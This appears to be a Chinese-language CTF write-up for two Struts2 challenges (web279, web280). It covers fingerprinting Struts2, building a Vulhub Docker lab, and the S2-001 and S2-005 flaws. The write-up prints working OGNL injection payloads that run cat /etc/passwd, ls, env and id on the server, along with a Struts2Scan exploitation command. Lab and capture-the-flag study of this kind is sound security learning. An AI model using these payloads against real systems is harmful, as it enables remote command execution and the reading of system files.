java
web279
发现一个链接,直接点过去
查看源码,发现一个链接
发现服务器500错误,得知是struts2框架
struts2框架是用java语言编写的一个基于MVC这几模式的web应用框架,关于struts2漏洞
判断是struts2框架的方法
- 通过页面的回显错误消息来判断,页面不回显错误消息是则无效
- 通过网页后缀来判断,如.do.action,有可能不准
- 判断/struts/webconsole.html是否存在来进行判断,需要devMode为true
方法一
通过actionErrors.要求是对应的Action需要继承自ActionSupport类,
原始url为https://threathunter.org/ 则检测所用的url为https://threathunter.org/?actionErrors=111 |
如果返回的页面出现异常,则可以认定为目标是基于struts2构建的.异常包括但不限于
- 页面直接出现404或者500等错误
- 页面上输出了与业务有关错误消息,或者1111被回显到了页面上
- 页面内容结构发生了明显的改变
- 页面发生了重定向
方法二
通过CheckboxInterceptor.
要求:需要有一个能够回显到页面上的字符串类型的参数,一般就是各个目标的搜索功能,搜索功能往往会将keyword回显到页面上
原始url: https://threathunter.org/?keyword=aaa,且页面回显出了aaa 检测url: https://threathunter.org/?__checkbox_keyword=aaa,如果返现回显变成了false,则可以认定目标是基于struts2开发的 |
原理是CheckboxInterceptor发现了一个名为__checkbox_keyword的参数,但是没有发现keyword参数,则他会添加一个keyword参数,并将其值设置为false
回到本题,s2-001是一个struts2命令执行漏洞编号,
这里复现一下struts2漏洞s2-001
漏洞描述
struts2漏洞s2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充响应的表单数据,例如,在注册或登录页面中,如果提交失败,则服务器通常默认情况下将返回先前提交的数据.由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷看来执行命令
vulhub漏洞利用
docker正式安装
确保 yum 包更新到最新
yum update |
卸载旧版本(如果安装过旧版本的话)
yum remove docker docker-common docker-selinux docker-engine |
安装需要的软件包, yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的
yum install -y yum-utils device-mapper-persistent-data lvm2 |
设置yum源
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo |
可以查看所有仓库中所有docker版本,并选择特定版本安装
yum list docker-ce --showduplicates | sort -r |
安装docker
yum install docker-ce #由于repo中默认只开启stable仓库,故这里安装的是最新稳定版17.12.0 |
启动并加入开机启动
systemctl start docker |
验证安装是否成功(有client和service两部分表示docker安装启动都成功了)
docker version |
docker容器中下载weblogic12c(可略过不看)
- 获取镜像
docker pull ismaleiva90/weblogic12 |
- 生成并启动容器
docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest |
- 在浏览器中访问weblogichttp://172.17.0.1:49163/console
172.150.19.40 #当前主机的ip地址 |
- 登录账号和密码:
用户名: weblogic |
docker容器中下载vulhub漏洞环境
docker-compose 的安装及使用
Docker Compose 是一个用来定义和运行复杂应用的 Docker 工具。使用 Docker Compose 不再需要使用 shell 脚本来启动容器。(通过 docker-compose.yml 配置)
安装
可以通过修改 URL 中的版本,自定义您需要的版本。
sudo curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose |
卸载
sudo rm /usr/local/bin/docker-compose |
正式下载漏洞环境Vulhub
下载docker漏洞环境:Vulhub
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
搭建漏洞环境
git clone https://github.com/vulhub/vulhub.git |
改一下国内镜像
vim /etc/docker/daemon.json |
输入命令,重启docker即可
systemctl daemon-reload |
进入/root/vulhub/struts2/s2-001目录
docker-compose up -d //安装此漏洞环境 |
访问ip:port即可看到web网页
docker-compose down //测试完毕之后,使用此命令即可结束服务,使环境变为初始状态。 |
测试payload
%{1+1} |
这次我们试一试命令执行,new java.lang.String[ {“cat”,”/etc/passwd”} 在这里更改我们想要执行的命令。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
利用语句
获取tomcat路径 |
OGNL表达式中的三个符号% # $
%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值 |
env命令
env命令用于显示系统中已存在的环境变量,以及在定义的环境中执行命令.该命令只使用”-“作为参数选项时,隐藏了选项中的”-i”的功能若没有设置任何选项和参数的时候,则直接显示当前的环境变量
如果使用env命令在环境中执行命令时,会因为没有定义环境变量”PATH”而提示错误信息”such file or directory”.此时,用户可以重新定义一个新的”PATH”或者使用绝对路径
当前目录看下
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
根目录看下
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
env看下
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
这里使用工具的时候本地可以扫出来,但是平台扫不出来
这里利用的时候会报错,改一下
python Struts2Scan.py -u http://192.168.5.149:8080/login.action -n S2-001 --exec |
搭建环境
新建一个java EE项目
idea新建一个项目,这里刚开始会无这个页面的话,就回主页面按快捷键组合ctrl+alt+shift+/,然后选register,接着找到javaee.legacy.project.wizard,选中
添加本地tomocat服务
创建好的目录结构
在web/WEB-INF目录下面创建两个文件夹:classes和lib
classes用来存放编译后输出的class文件,lib用于存放第三方jar包
配置文件夹路径
改成刚才新建的classes文件夹
选择刚才新建的lib
配置tomcat容器
记得改下端口
导入所需的jar包
下载地址这里的jar包一定要都相同,试了好久
接下来就是我们要创建的几个文件,这里代码都给出来了,直接copy就行。(注意:一定要按照前边给出的目录结构放置下边的文件)
web.xml
<?xml version="1.0" encoding="UTF-8"?> |
index.jsp
<%-- |
接着在index.jsp同级目录下面创建welcome.jsp文件
<%@ page language="java" contentType="text/html; charset=UTF-8" |
在src下新建软件包名为com.demo.action在action目录下新建LoginAction的java类
LoginAction.java
package com.demo.action; |
接着在src目录下创建struts.xml
<?xml version="1.0" encoding="UTF-8" ?> |
测试
太菜了,分析不明白
web280
poc 这个漏洞的具体原理不知道,但是利用方式是先传poc,在使用struts2scan去利用,如果不先传poc是无法扫描成功的,具体改的位置就是 id查找一下id
/S2-005/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27id%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 |
/S2-005/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27---id----%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 |
/S2-005/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27ls%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 |
记得先传poc哦 工具扫出来是016漏洞
找了一下在env